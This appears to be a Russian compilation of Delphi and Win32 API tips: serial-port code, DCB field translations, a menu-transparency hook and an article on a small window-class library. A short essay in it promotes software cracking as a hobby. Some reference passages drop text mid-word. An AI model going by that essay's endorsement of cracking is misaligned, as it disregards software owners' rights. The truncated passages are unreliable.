буфер. lb_GetTextLen Возвращает длину в байтах элемента в блоке списка. Параметры: wParam: Является индексом элемента. lParam: Не используется. Возвращаемое значение: Если wParam определяет верный индекс, то возвращается длина элемента с этим индексом; в противном случае, возвращается lb_Err. lb_GetTopIndex Возвращает индекс первого видимого элемента в блоке списка. Параметры: wParam: Не используется. lParam: Не используется. Возвращаемое значение: Индекс первого видимого элемента. Комментарий: Первоначально первым видимым элементом в списке является нулевой элемент. Если блок списка прокручивается, то верхним может оказаться другой элемент. lb_InsertString Вставляет строку в блок списка без сортировки. Параметры: wParam: Если wParam=-1, то строка добавляется в конец списка. В противном случае, wParam используется как индекс вставки строки. lParam: Указывает на вставляемую строку, заканчивающуюся пустым символом. Возвращаемое значение: В случае успешного завершения, возвращается индекс, по которому была вставлена строка; в противном случае, если не хватает памяти для сохранения строки, возвращается lb_ErrSpace, или, в случае ошибки, возвращается lb_Err. lb_ResetContent Удаляет все элементы из блока списка. Параметры: wParam: Не используется. lParam: Не используется. Возвращаемое значение: Не используется. Комментарии: Если блок списка имеет стиль lbs_OwnerDrawFixed или lbs_OwnerDrawVariable и не имеет стиля lbs_HasString, то владельцу блока списка для каждого элемента посылается сообщение wm_DeleteItem. lb_SelectString Выбирает первый элемент блока списка, соответствующий префиксной строке. Параметры: wParam: Является индексом, с которого должен начинаться поиск. Первым просматриваемым элементом является элемент, следующий после элемента с индексом wParam. Если достигается конец списка, то поиск продолжается с нулевого элемента до тех пор, пока индекс не достигнет значения wParam. Если wParam=-1, то просматривается весь список, начиная с нулевого элемента. lParam: Префиксная строка, заканчивающаяся пустым символом. Возсовпадающего элемента, в противном случае, возвращается lb_Err и текущий выбор не изменяется. Комментарии: Если комбинированный блок имеет стиль lbs_OwnerDrawFixed или lbs_OwnerDrawVariable и не имеет стиля lbs_HasString, то lParam является 32-битовым значением, которое сравнивается с каждым соответствующим 32
Что такое порт (правила работы с портами).
| Автор: Дмитрий Кузан |
| Сегодня мама грохнула о пол мой любимый компьютер. Горестно гляжу на разлетевшиеся детали: - Вот она материнская плата за сыновью любовь! |
Маленький пример для работы с портами (первый пример был уже опубликован в королевстве Дельфи и представлял собой пример работы с весами ПетрВес).
function PortInit : boolean; //инициализация
var f: THandle;
ct: TCommTimeouts;
dcb: TDCB;
begin
f := Windows.CreateFile(PChar('COM1'), GENERIC_READ or
GENERIC_WRITE,
FILE_SHARE_READ or FILE_SHARE_WRITE,
nil, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, 0);
if (f < 0) or not Windows.SetupComm(f, 2048, 2048)or not
Windows.GetCommState(f, dcb) then exit; //init error
dcb.BaudRate := скорость;
dcb.StopBits := стоп-биты;
dcb.Parity := четность;
dcb.ByteSize := 8;
if not Windows.SetCommState(f, dcb)
or not Windows.GetCommTimeouts(f, ct) then exit; //error
ct.ReadTotalTimeoutConstant := 50;
ct.ReadIntervalTimeout := 50;
ct.ReadTotalTimeoutMultiplier := 1;
ct.WriteTotalTimeoutMultiplier := 0;
ct.WriteTotalTimeoutConstant := 10;
if not Windows.SetCommTimeouts(f, ct)
or not Windows.SetCommMask(f, EV_RING + EV_RXCHAR + EV_RXFLAG + EV_TXEMPTY)
then exit; //error
result := true;
end;
function DoneComm: boolean; //закрыть порт
begin
result := Windows.CloseHandle(f);
end;
function PostComm(var Buf; size: word): integer; //передача в порт
var p: pointer; i: integer;
begin
p := @Buf;
result := 0;
while size > 0 do begin
if not WriteFile(f, p^, 1, i, nil) then exit;
inc(result, i); inc(integer(p)); dec(size);
Application.ProcessMessages;
end;
end;
function ReadComm(var Buf; size: word): integer; //прием из порта
var i: integer; ovr: TOverlapped;
begin
fillChar(buf, size, 0);
fillChar(ovr, sizeOf(ovr), 0); i := 0; result := -1;
if not windows.ReadFile(f, buf, size, i, @ovr) then exit;
result := i;
end;
|
CreateFile
HANDLE CreateFile(
LPCTSTR lpFileName, // указатель на строку PCHAR с именем файла
DWORD dwDesiredAccess, // режим доступа
DWORD dwShareMode, // share mode
LPSECURITY_ATTRIBUTES lpSecurityAttributes, // указатель на атрибуты
DWORD dwCreationDistribution, // how to create
DWORD dwFlagsAndAttributes, // атрибуты файла
HANDLE hTemplateFile // хендл на temp файл
);
// Пример кода на Дельфи
// < вырезано>
CommPort := 'COM2';
hCommFile := CreateFile(Pchar(CommPort),
GENERIC_WRITE, 0, nil,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,
0);
// < вырезано>
|
DwFlagsAndAttributes - Атрибуты объекта (файла) , атрибуты могут комбинироваться.
FILE_ATTRIBUTE_ARCHIVE FILE_ATTRIBUTE_COMPRESSED FILE_ATTRIBUTE_HIDDEN FILE_ATTRIBUTE_NORMAL FILE_ATTRIBUTE_OFFLINE FILE_ATTRIBUTE_READONLY FILE_ATTRIBUTE_SYSTEM FILE_ATTRIBUTE_TEMPORARY HTemplateFile - Определяет дескриптор с GENERIC_READ доступом к временному объекту(файлу). Временный объект(файл)поставляет атрибуты файла и расширенные атрибуты для создаваемого объекта (файла) ИСПОЛЬЗУЕТСЯ ТОЛЬКО В WINDOWS NT Windows 95: Это значение должно быть установлено в Nil. Возвращаемые значения Если функция преуспевает, возвращаемое значение - открытый дескриптор к указанному объекту(файлу). Если файл не существует - 0. Если произошли функциональные сбои, возвращаемое значение - INVALID_HANDLE_VALUE. Чтобы получить расширенные данные об ошибках, вызовите GetLastError. Обратите внимание! Для портов, dwCreationDistribution параметр должен быть OPEN_EXISTING, и hTemplate должен быть Nil. Доступ для чтения-записи должен быть определен явно. SECURITY_ATTRIBUTESСтруктура содержит описание защиты для объекта и определяет, может ли дескриптор быть унаследован дочерними процессами.
typedef struct _SECURITY_ATTRIBUTES
{ DWORD nLength;
LPVOID lpSecurityDescriptor;
BOOL bInheritHandle;
} SECURITY_ATTRIBUTES;
|
Примечание : В местах где нельзя дать точный перевод будет дано определение на английском из MSDK и приблизительный его перевод Описание в эквиваленте C.
typedef struct _DCB { // dcb
DWORD DCBlength; // Размер DCB
DWORD BaudRate; // Скорость пересылки данных в бодах;
// текущая скорость в бодах
DWORD fBinary: 1; // binary mode, no EOF check
// двоичный режим , не проверять конец
// данных (по умолчанию значение = 1)
DWORD fParity: 1; // Включить проверку четность (по умолчанию
// значение = 1)
DWORD fOutxCtsFlow:1; // CTS управление потоком выхода
DWORD fOutxDsrFlow:1; // DSR управление потоком выхода
DWORD fDtrControl:2; // DTR Тип управления потоком скорости
// передачи данных
DWORD fDsrSensitivity:1; // DSR sensitivity (чувствительность)
DWORD fTXContinueOnXoff:1; // XOFF continues Tx (стоп-сигнал
// продалжает выполнение)
DWORD fOutX: 1; // XON/XOFF out flow control (СТАРТ-
// СИГНАЛ / СТОП-СИГНАЛ для управления
// выходящим потоком (по умолчанию
// значение = 1)
DWORD fInX: 1; // XON/XOFF in flow control (СТАРТ-
// СИГНАЛ / СТОП-СИГНАЛ для управления
// входящим потоком (по умолчанию
// значение = 1)
DWORD fErrorChar: 1; // enable error replacement (включить
// проверку погрешностей по умолчанию=1)
DWORD fNull: 1; // enable null stripping (отвергать
// пустой поток данных (по умолчанию=1))
DWORD fRtsControl:2; // RTS управление потоком данных
DWORD fAbortOnError:1; // abort reads/writes on error
// (проверять операции чтения/записи
// по умолчанию=1)
DWORD fDummy2:17; // reserved ЗАРЕЗЕРВИРОВАНО
WORD wReserved; // not currently used НЕ ДЛЯ
// ИСПОЛЬЗОВАНИЯ
WORD XonLim; // transmit XON threshold (порог
// чувствительности старт-сигнала)
WORD XoffLim; // transmit XOFF threshold (порог
// чувствительности стоп-сигнала)
BYTE ByteSize; // Бит в байте (обычно 8)
BYTE Parity; // 0-4=no,odd,even,mark,space
// (четность байта)
BYTE StopBits; // 0,1,2 = 1, 1.5, 2 (стоповые биты)
char XonChar; // Tx and Rx XON character (вид
// старт сигнал в потоке)
char XoffChar; // Tx and Rx XOFF character (вид
// стоп сигнал в потоке)
char ErrorChar; // error replacement character (какой
// сигнал погрешности,его вид)
char EofChar; // end of input character (сигнал
// окончания потока)
char EvtChar; // received event character РЕЗЕРВ
WORD wReserved1; // reserved; do not use НЕ ДЛЯ
// ИСПОЛЬЗОВАНИЯ
} DCB;
|
Пример:
with Mode do
Begin
BaudRate := 9600;
ByteSize := 8;
Parity := NOPARITY;
StopBits := ONESTOPBIT; // одиночный стоп-бит
Flags := EV_RXCHAR + EV_EVENT2;
End;
|
CBR_110 CBR_19200 CBR_300 CBR_38400 CBR_600 CBR_56000 CBR_1200 CBR_57600 CBR_2400 CBR_115200 CBR_4800 CBR_128000 CBR_9600 CBR_256000 CBR_14400fBinary - Определяет, допускается ли двоичный (бинарный) способ передачи данных. Win32 API не поддерживает недвоичные (небинарные) способы передачи данных в потоке порта, так что этот параметр должен быть всегда ИСТИНЕН. Попытка использовать ЛОЖЬ в этом параметре не будет работать. Примечание : Под Windows 3.1 небинарный способ передачи допускается, но для работы данного способа необходимо заполнит параметр EofChar который будет восприниматься конец данных. fParity - Определяет, допускается ли проверка четности. Если этот параметр ИСТИНЕН, проверка четности допускается fOutxCtsFlow - CTS (clear-to-send) управление потоком выхода fOutxDsrFlow - DSR (data-set-ready) управление потоком выхода fDtrControl - DTR (data-terminal-ready) управление потоком выхода Принимает следующие значения : DTR_CONTROL_DISABLE - Отключает линию передачи дынных DTR_CONTROL_ENABLE - Включает линию передачи дынных DTR_CONTROL_HANDSHAKE - Enables DTR handshaking. If handshaking is enabled, it is an error for the application to adjust the line by using the EscapeCommFunction function. Допускает подтверждению связи передачи данных Если подтверждение связи допускается, это - погрешность для того чтобы регулировать(корректировать) линию связи, используя функцию EscapeCommFunction. fDsrSensitivity - Specifies whether the communications driver is sensitive to the state of the DSR signal. If this member is TRUE, the driver ignores any bytes received, unless the DSR modem input line is high. Определяет возможна ли по порту двухсторонняя передача в ту и в другую сторону сигнала. fTXContinueOnXoff - Определяет, останавливается ли передача потока , когда входной буфер становится полный, и драйвер передает сигнал XoffChar. Если этот параметр ИСТИНЕН, передача продолжается после того, как входной буфер становится в пределах XoffLim байтов, и драйвер передает сигнал XoffChar, чтобы прекратить прием байтов из потока . Если этот параметр ЛОЖНЫЙ, передача не продолжается до тех пор , пока входной буфер не в пределах XonLim байтов, и пока не получен сигнал XonChar, для возобновления приема . fOutX - Определяет, используется ли управление потоком СТАРТ-СИГНАЛА / СТОП-СИГНАЛА в течение передачи потока порту. Если этот параметр ИСТИНЕН, передача останавливается, когда получен сигнал XoffChar и начинается снова, когда получен сигнал XonChar. fInX - Specifies whether XON/XOFF flow control is used during reception. If this member is TRUE, the XoffChar character is sent when the input buffer comes within XoffLim bytes of being full, and the XonChar character is sent when the input buffer comes within XonLim bytes of being empty. Определяет, используется ли управление потоком СТАРТ-СИГНАЛА / СТОП-СИГНАЛА в течение приема потока портом. Если этот параметр ИСТИНЕН,сигнал XoffChar посылается , когда входной буфер находится в пределах XoffLim байтов, а сигнал XonChar посылается тогда когда входной буфер находится в пределах XonLim байтов или является пустым fErrorChar - Определяет, заменены ли байты, полученные с ошибками четности особенностью, указанной параметром ErrorChar Если этот параметр ИСТИНЕН, и fParity ИСТИНЕН, замена происходит. fNull - Определяет, отвергнуты ли нулевые(пустые) байты. Если этот параметр ИСТИНЕН, нулевые(пустые) байты, будут отвергнуты при получении их. fRtsControl - RTS управление потоком " запрос пересылки " . Если это значение нулевое, то по умолчанию устанавливается RTS_CONTROL_HANDSHAKE. Принимает одно из следующих значений: RTS_CONTROL_DISABLE - Отключает строку RTS, когда устройство открыто RTS_CONTROL_ENABLE - Включает строку RTS RTS_CONTROL_HANDSHAKE - Enables RTS handshaking. The driver raises the RTS line when the " type-ahead" (input) buffer is less than one-half full and lowers the RTS line when the buffer is more than three-quarters full. If handshaking is enabled, it is an error for the application to adjust the line by using the EscapeCommFunction function. Допускает RTS подтверждение связи. Драйвер управляет потоком пересылки. RTS выравнивается , когда входной буфер - меньше чем половина полного и понижается, когда буфер - больше 2/3 полного .Если подтверждение связи допускается, это используется для регулирования передачи данных EscapeCommFunction. RTS_CONTROL_TOGGLE - Specifies that the RTS line will be high if bytes are available for transmission. After all buffered bytes have been sent, the RTS line will be low. Определяет, что буфер будет высокий при подготовке данных для передачи. После того, как все байты отосланы, буфер RTS будет низок. FAbortOnError - Определяет, закончена ли операции чтения/записи, если происходит погрешность. Если этот параметр ИСТИНЕН, драйвер закрывает все операции чтения/записи с состоянием погрешности при возникновении оной. Драйвер не будет принимать никакие дальнейшие действия, пока не дождется подтверждения погрешности в передоваемых (принимаемых) данных, вызывая функцию ClearCommError. fDummy2 - ЗАРЕЗЕРВИРОВАНО Microsoft wReserved - ЗАРЕЗЕРВИРОВАНО Microsoft XonLim - Определяет минимальное число байтов, находящихся во в XoffLim - Определяет максимальное число байтов, находящихся во входном буфере прежде, чем будет генерирована подача СТОП-СИГНАЛА. Максимальное число байтов, позволенных во входном буфере вычитается из размеров, в байтах, самого входного буфера. ByteSize - Определяет число битов в байтах, переданных и полученных. Parity - Определяет схему четности, которую нужно использовать. Этот параметр может быть одним из следующих значений: EVENPARITY MARKPARITY NOPARITY ODDPARITY StopBits - Определяет число стоповых битов, которые нужно использовать. Этот параметр может быть одним из следующих значений: ONESTOPBIT 1 stop bit ONE5STOPBITS 1.5 stop bits TWOSTOPBITS 2 stop bits XonChar - Определяет значение СТАРТ-СИГНАЛА для передачи и приема. XoffChar - Определяет значение СТОП-СИГНАЛА для передачи и приема. ErrorChar - Определяет значение СИГНАЛА ОШИБКИ (генерируемого при ошибке четности) для передачи и приема. EofChar - Определяет значение сигнала конца данных. EvtChar - Определяет значение сигнала события. wReserved1 - ЗАРЕЗЕРВИРОВАНО Microsoft Дополнение :
Когда структура DCB использует «ручной» выбор конфигурации , следующие ограничения используются для ByteSize и StopBits параметров : Число информационных разрядов должно быть от 5 до 8 битов. Использование 5 информационных разрядов с 2 стоповыми битами - недопустимая комбинация, как - 6, 7, или 8 информационных разрядов с 1.5 стоповыми битами.
Самый быстрый способ определить подкакой виндой вы находитись (NT или Win9X) на Assemblere.
Автор: Эдгар WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Самый быстрый способ определить подкакой виндой вы
находитись (NT или Win9X) на Assembler(e)!!!
Самый быстрый способ определить подкакой виндой вы
находитись (NT или Win9X) на Assembler(e)!!!
Зависимости: нет
Автор: Эдгар, Songoku@tut.by, Берлин
Copyright: http://www.wasm.ru/
Дата: 23 февраля 2003 г.
***************************************************** }
function isWin9x: Bool; {True=Win9x} {False=NT}
asm
xor eax, eax
mov ecx, cs
xor cl, cl
jecxz @@quit
inc eax
@@quit:
end;
Получить диапазон, прокручиваемый колесиком мышки.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
//Not supported on Windows 95 //result = -1: scroll whole page function GetNumScrollLines: Integer; begin SystemParametersInfo(SPI_GETWHEELSCROLLLINES, 0, @Result, 0); end; procedure TForm1.Button1Click(Sender: TObject); begin ShowMessage(IntToStr(GetNumScrollLines)); end;
Чтобы при выполнении длительного цикла другие приложения не подвисали.
| Встретились Windows 95 и Windows 98: - Ну что, в бар пойдем, или тут зависнем? |
Нужно вставить в тело цикла:
Application.ProcessMessages; |
После этого даже само приложение, выполняющее цикл не будет виснуть. Например, по нажатию на кнопку напишите следующий код:
procedure TForm1.Button2Click(Sender: TObject);
var
i: integer;
begin
randomize;
for i:=0 to 50000000 do
begin
Form1.Caption := IntToStr(Random(5000));
Application.ProcessMessages;
end;
end;
|
Зачем ломают программы или крэкеры на воле.
| Автор: Fess |
| Одна программа спрашивает у другой: - Как ты думаешь, есть ли жизнь после reset-а? |
"И чем же это хорошо?" - Спросите Вы, - "Покамест ты называл только отрицательные стороны". Если есть плохое, значит есть и хорошее.
Первое, это я назвал, чувство ПОБЕДЫ. Второе, обратная сторона плохого, если бы программисты не разробатывали защиты, то постепенно, все программы превратились бы в горы мусора, т.е. не оптимальный код, жутко тормозит и прочее, чего простому пользователю, ой как не хочется. А при разработке достойной защиты приходится пользоваться низкоуровневыми средствами и исхитряться, чтобы не сразу разгадали алгоритм. Отсюда ясно видно, что квалификация программистов повышается и позволяет писать более оптимальные программы. Третье, крэк это способ скоротать время, вместо него можно или пить, или ширятся наркотой, а это уже не дела. Четвертое, это способ повышения уровня знаний о компьютере и процессах протекающих в нем. Пятое, это интелектуальный спорт позволяющий разминать свои мозги, как кроссворды или шахматы. Шестое, этот спорт усиливает силу воли при движении к успеху. Седьмое, чем дешевле продукт, тем меньше причин у потребителя искать кряк или кейген, легче купить. Тем самым выигрывают потребители, цены у умных компаний не очень высоки. Восьмое, так как для создания защиты нужны дополнительные программисты, тем самым это увеличивает количество работающих людей, т.е. дает им шанс легально зарабатывать на жизнь. Девятое, это как и любое другое хобби объединяет людей разных национальностей и верований в единую нацию. Как видите достаточно много причин, чтобы заниматься этим, и мало чтобы не заниматься. По мне, так это гораздо интересней, чем воевать и торговать (ширятся) наркотой. По этому спорту равно, как и искусству давно пора проводить соревнования. Спасибо за интерес к моему творчеству! Удачи в Reversing Engeneering! Послесловие Заниматься этим или нет, каждый решает сам, но отрицать полезность этого - это все равно, что плевать в колодец, из которого потом сам будешь пить.Вредный совет: Если сканер Ваш планшетный Не работает как надо, А листочки уже завтра Надо к вечеру сдавать - Все прозрачные фигнюшки Изолентою заклейте, Пусть он гадина узнает, Что такое слепота. (Fess)Все ругательства отправлять в null Все остальное на lomovskih@yandex.ru P.S. Запомните все материалы публикуются только в учебных целях и автор за их использование ответственности не несет!! P.P.S. Возможно имеют место опечатки, заранее извините! With best wishes Fess
И да пребудет с вами великий дух bad-сектора.
Почему я должен устанавливать BDE.
Автор: Vit WEB-сайт: http://forum.vingrad.ruТипичная ошибка! BDE это не поддержка alias! компоненты Дельфи такие как Table, Query, Database - почти вообще ничего не делают! - это только удобный интерфейс к BDE. Т.е. BDE реально читает и пишет в базы данных, обнавляет файлы, управляет транзакциями, сортирует данные, исполняет SQL запросы. BDE с одной стороны имеет BDE Admin для ее управления, а с другой API, которые и использует Дельфи в компонентах. Если вам надо обойтись без BDE вы должны использовать другие драйвера доступа к базам данных: ODBC, DAO, ADO, RDO - многие из них имеют свои API или COM интерфейсы которые вы можете использовать (напрямую, либо найти компоненты для этого, кроме того ADO входит в стандартную поставку дельфей, но через него приконнектится к парадоксу довольно затруднительно). Если же все эти драйвера вас не устраивают то вам надо написать свой драйвер к базе данных (можно прямо в коде программы), он должен обеспечивать:
Чтение и запись базы Поддержка транзакций Исполнение SQL запросов Поддержка индексов и ключей Поддержка многопользовательского доступа. Стандартный набор API которые позволят подключаться компонентам типа Table, Query Есть так же сторонние библиотеки для доступа к базам данных через свои собственные драйвера: HALCYON, или Апполо (Предложил МММ);VkDBF- компонент для работы с ДБФ для Дельфы6/5 без БДЕ.(Предложил Free)
Как конвертировать WideString в String.
Автор: http://www.swissdelphicenter.ch
{
Converts Unicode string to Ansi string using specified code page.
@param ws Unicode string.
@param codePage Code page to be used in conversion.
@returns Converted ansi string.
}
function WideStringToString(const ws: WideString; codePage: Word): AnsiString;
var
l: integer;
begin
if ws = '' then
Result := ''
else
begin
l := WideCharToMultiByte(codePage,
WC_COMPOSITECHECK or WC_DISCARDNS or WC_SEPCHARS or WC_DEFAULTCHAR,
@ws[1], -1, nil, 0, nil, nil);
SetLength(Result, l - 1);
if l > 1 then
WideCharToMultiByte(codePage,
WC_COMPOSITECHECK or WC_DISCARDNS or WC_SEPCHARS or WC_DEFAULTCHAR,
@ws[1], -1, @Result[1], l - 1, nil, nil);
end;
end; { WideStringToString }
{:Converts Ansi string to Unicode string using specified code page.
@param s Ansi string.
@param codePage Code page to be used in conversion.
@returns Converted wide string.
}
function StringToWideString(const s: AnsiString; codePage: Word): WideString;
var
l: integer;
begin
if s = '' then
Result := ''
else
begin
l := MultiByteToWideChar(codePage, MB_PRECOMPOSED, PChar(@s[1]), -1, nil,
0);
SetLength(Result, l - 1);
if l > 1 then
MultiByteToWideChar(CodePage, MB_PRECOMPOSED, PChar(@s[1]),
-1, PWideChar(@Result[1]), l - 1);
end;
end; { StringToWideString }
Прозрачные меню для XP, Win2000.
| Невиданную рекламную акцию устроила Microsoft в России по продвижению своего продукта Windows XP. 5 мая логотип XP был везде! Даже на празничных яйцах и куличах. По неофицальным данным несмотря на то, что юзеры просто молились на XP, продажа так и не возросла. |
var
hHookID: HHOOK;
// function to make the menu transparent
function MakeWndTrans(Wnd: HWND; nAlpha: Integer = 10): Boolean;
type
TSetLayeredWindowAttributes = function(hwnd: HWND; crKey: COLORREF; bAlpha: Byte;
dwFlags: Longint): Longint; stdcall;
const
// Use crKey as the transparency color.
LWA_COLORKEY = 1;
// Use bAlpha to determine the opacity of the layered window..
LWA_ALPHA = 2;
WS_EX_LAYERED = $80000;
var
hUser32: HMODULE;
SetLayeredWindowAttributes: TSetLayeredWindowAttributes;
i : Integer;
begin
Result := False;
// Here we import the function from USER32.DLL
hUser32 := GetModuleHandle('USER32.DLL');
if hUser32 <> 0 then
begin
@SetLayeredWindowAttributes := GetProcAddress(hUser32,'SetLayeredWindowAttributes');
// If the import did not succeed, make sure your app can handle it!
if @SetLayeredWindowAttributes <> nil then
begin
// Check the current state of the dialog, and then add the WS_EX_LAYERED attribute
SetWindowLong(Wnd, GWL_EXSTYLE, GetWindowLong(Wnd, GWL_EXSTYLE) or WS_EX_LAYERED);
// The SetLayeredWindowAttributes function sets the opacity and
// transparency color key of a layered window
SetLayeredWindowAttributes(Wnd, 0, Trunc((255 / 100) * (100 - nAlpha)), LWA_ALPHA);
Result := True;
end;
end;
end;
// hook procedure
function HookCallWndProc(nCode: Integer; wParam, lParam: Longint): Longint; stdcall;
const
MENU_CLASS = '#32768';
N_ALPHA = 60;
var
cwps: TCWPStruct;
lRet: THandle;
szClass: array[0..8] of char;
begin
if (nCode = HC_ACTION) then
begin
CopyMemory(@cwps, Pointer(lParam), SizeOf(CWPSTRUCT));
case cwps.message of
WM_CREATE:
begin
GetClassName(cwps.hwnd, szClass, Length(szClass)-1);
// Window name for menu is #32768
if (lstrcmpi(szClass, MENU_CLASS) = 0) then
begin
MakeWndTrans(cwps.hwnd, N_ALPHA {Alphablending});
end;
end;
end;
end;
// Call the next hook in the chain
Result := CallNextHookEx(WH_CALLWNDPROC, nCode, wParam, lParam);
end;
// Install the hook in the OnCreate Handler
procedure TForm1.FormCreate(Sender: TObject);
var
tpid: DWORD;
begin
// Retrieve the identifier of the thread that created the specified window
tpid := GetWindowThreadProcessId(Handle, nil);
// The SetWindowsHookEx function installs an application-defined
// hook procedure into a hook chain
hHookID := SetWindowsHookEx(WH_CALLWNDPROC, HookCallWndProc, 0, tpid);
end;
// Stop the hook in the OnDestroy Handler
procedure TForm1.FormDestroy(Sender: TObject);
begin
if (hHookID <> 0) then
// Removes the hook procedure
UnhookWindowsHookEx(hHookID);
end;
|
Программирование на основе Win32 API в Delphi.
Автор: Николай Мазуркин WEB-сайт: http://www.sources.ru Введение Любую современную программу или программную технологию можно представить как совокупность программных "слоев". Каждый из этих слоев производит свою собственную работу, которая заключается в повышении уровня абстракции производимых операций. Так, самый низший слой (слои) вводит понятия, которые позволяют абстрагироваться от используемого оборудования; следующий слой (слои) позволяет программисту абстрагироваться от сложной последовательности вызовов функций, вводя такое понятие как протокол и т.д. Практически в любом современном программном продукте можно обнаружить и выделить около десятка последовательных слоев абстракции. Абстракция от оборудования и низкоуровневых протоколов вводится в ядра операционных систем в виде библиотек API (Application Program Interface). Однако современные тенденции приводят к необходимости абстрагирования и от самих операционных систем, что позволяет переносить программы с одной операционной системы на другую путем простой перекомпиляции (транслируемые программы, в основном, вообще не требуют никаких действий по переносу). Абстракцию, которая доступна программисту в виде библиотек API можно назвать базовой. Это самый низкий уровень абстракции, который доступен для прикладного программирования. На уровне ядра системы доступны и более низкие уровни абстракции, однако для их использования необходимо разрабатывать специализированные программы (драйвера, модули). Базовый уровень абстракции (API) предоставляет максимально широкие возможности для прикладного программирования и является наиболее гибким. Однако, программирование с использованием API является гораздо более трудоемким и приводит к значительно большим объемам исходного кода программы, чем программирование с использованием дополнительных библиотек. Дополнительные библиотеки поставляются со многими средствами разработки с целью уменьшения трудоемкости и сроков разработки программ, что в итоге приводит к повышению их конкурентноспособности. Но применение дополнительных библиотек абстракций приводит к резкому увеличению размеров откомпилированных программ, из-за того что в программу включается код используемых библиотек, к тому же это включение зачастую бывает неэффективным - в программу включаются неиспользуемые участки кода. Кроме того, чем больше уровень абстракции библиотеки, тем сложнее ее код, и тем больше трудностей возникает при решении сложных задач. Приходится учитывать множество взаимосвязей и взаимных влияний отдельных элементов и процессов библиотеки друг на друга. Кроме того, структура и функциональность любой библиотеки обычно рассчитывается на удовлетворение всех потенциально возникающих задач, что приводит к ее громоздкости и неэффективности. В Delphi используется очень мощная и сложная библиотека VCL (Visual Components Library), которая помимо непосредственных абстракций вводит также и множество своих функциональных классов. В этой библиотеке находятся компоненты для визуального отображения информации, работы с базами данных, с системными объектами, компоненты для работы с Internet-протоколами, классы для написания своих COM-объектов и многое другое. Модули библиотеки подключаются к компиляции по мере необходимости, однако базовый размер простейшего диалогового проекта с одной формой превышает 300кБ (со статически скомпонованной библиотекой). И такой размер во многих случаях может оказаться слишком большим, особенно если программа не требует большой функциональности в интерфейсе. Для решения этой проблемы можно отказаться от использования библиотеки VCL, и программировать, используя базовый набор функций Win32 API. Однако, если при разработке линейных, недиалоговых, нерезидентных программ не возникает никаких трудностей, то разработка программ, требующих активного взаимодействия с пользователем или системой, становится трудоемкой. Структурное программирование, рекомендуемое в таких случаях, оказывается неэффективным и трудоемким. Данная статья посвящена проблеме создания и использования компактной объектно-ориентированной библиотеки, которая бы облегчила построение небольших и эффективных программ на основе Win32 API. Принципы построения API-библиотеки Стандартным видом API-программирования является структурное программирование. Примеры такого программирования на Win32 API есть практически в любой книжке по Borland Pascal, Borland C++, Microsoft Visual C++ и другим системам разработки. Множество примеров API-программирования на С содержится в поставке Microsoft Visual C++. Структурное программирование с оконными функциями, процедурами обработки команд, не в состоянии обеспечить быструю и эффективную разработку программ. В современной ситуации большинство программистов привыкло к объектно-ориентированному методу, с возможностью инкапсуляции, наследования и переопределения методов объектов. Такое программирование оказывается наиболее эффективным. Кроме того, для построения эффективной API-библиотеки прежде всего нужно выяснить, какие задачи при работе с Win32 API являются наиболее трудоемкими. Практика показывает, что наиболее неудобным и трудоемким элементом является реализация основного диспетчера логики программы - оконной функции. Реализация этой функции в качестве метода класса, а не простой глобальной функции, позволила бы улучшить структуру кода и облегчить программирование путем инкапсулирования всех переменных внутри оконного класса. Программирование может быть еще более облегчено, есть возпользоваться механизмом message-процедур языка Object Pascal. Вызов этих процедур полностью лежит на компиляторе и корневом объекте TObject и включает в себя методы Dispatch, DefaultHandler, а также все методы, объявленные с директивой message. Такое решениее позволит полностью отказаться от громоздкого оператора case в оконной функции.Учитывая все вышеперечисленное автором была создана компактная библиотека оконных классов WinLite. Эта библиотека является минимальной, она не вводит более высоких уровней абстракции чем существуют в Win32 API - она только облегчает работу, переводом программирования в объектно-ориентированное русло. Размер библиотеки очень небольшой и вся она помещается в один модуль. Библиотека реализует базовый класс TLiteFrame и построенные на основе него оконные классы:
TLiteWindow - класс окна, с возможностью subсlаss'инга; TLiteDialog - класс немодального диалога; TLiteDialogBox - класс модального диалога. Библиотека может быть использована совместно с VCL. На первый взгляд, это возможность является абсурдной и ненужной, так как об экономии размера в этом случае не может быть и речи. Однако, иногда бывают моменты, когда реализация специфических оконных элементов на основе объектов TWinControl или TCustomControl может быть затруднена или неэффективна из-за их сложности и неочевидного поведения. В этом случае, можно реализовать такой элемент на базе класса TLiteWindow - он будет вести себя стандартным образом, как и полагается вести себя стандартному оконному элементу Win32. Благодаря своей простой архитектуре библиотека может быть использована в многопоточной программе. Конечно, вы не сможете вызывать методы классов одного потока из другого потока без соответствующей синхронизации. Однако, вы можете беспрепятственно создавать оконные классы в различных потоках без блокировки и синхронизации, а также посылать сообщения оконным классам в другом потоке. Практический совет: при API-программировании программист должен сам следить за корректным освобождением многочисленных ресурсов, которые занимает программа во время выполнения. Поэтому, для облегчения этой задачи используйте какую-либо контролирующую утилиту, например MemProof или Numega BoundsChecker. Корректное освобождение занятых ресурсов крайне необходимо ! К тому же, прежде чем вы решите работать над своим проектом в русле Win32 API, подумайте, а зачем вам это нужно? В подавляющем числе случаев размер программы не имеет никакого значения. Я не хочу сказать, что API-программирование сложнее чем VCL-программирование. Во многих случаях легче изучить и написать 10 вызовов API с кучей аргументов и понимать, что происходит, чем написать 1 вызов простой, на первый взгляд, VCL-инструкции и потом долго исследовать дебри VCL в поисках ответа. Просто API-программирование - это другая культура, к которой вы, возможно, не привыкли. И первоначальная работа может вызвать у вас сильное разочарование. API-программирование требует дотошности, кропотливости и внимательного изучения документации.Те же, кто отважился программировать на API, наряду с библиотекой WinLite могут совместно использовать невизуальные классы как из состава VCL (модули SysUtils, Classes), так и многие сторонние - естественно, что размер вашей программы при этом увеличится.
Невизуальные классы библиотеки ACL - http://a-press.parad.ru/pc/bokovikov/delphi/acl/acl.zip Невизуальные классы библиотеки XCL - http://xcl.cjb.net JEDI Code Library - http://www.delphi-jedi.com Системные компоненты на Torry - www.torry.ruБиблиотека WinLight
////////////////////////////////////////////////////////////////////////////////
// WinLite, библиотека классов и функций для работы с Win32 API
// (c) Николай Мазуркин, 1999-2000
// _____________________________________________________________________________
// Оконные классы
////////////////////////////////////////////////////////////////////////////////
unit WinLite;
interface
uses Windows, Messages;
// Инициализационные структуры
// Объявление структур, которые используются для формирования
// параметров вновь создаваемых окон и диалогов соответственно.
////////////////////////////////////////////////////////////////////////////////
// Параметры для создания окна
////////////////////////////////////////////////////////////////////////////////
type
TWindowParams = record
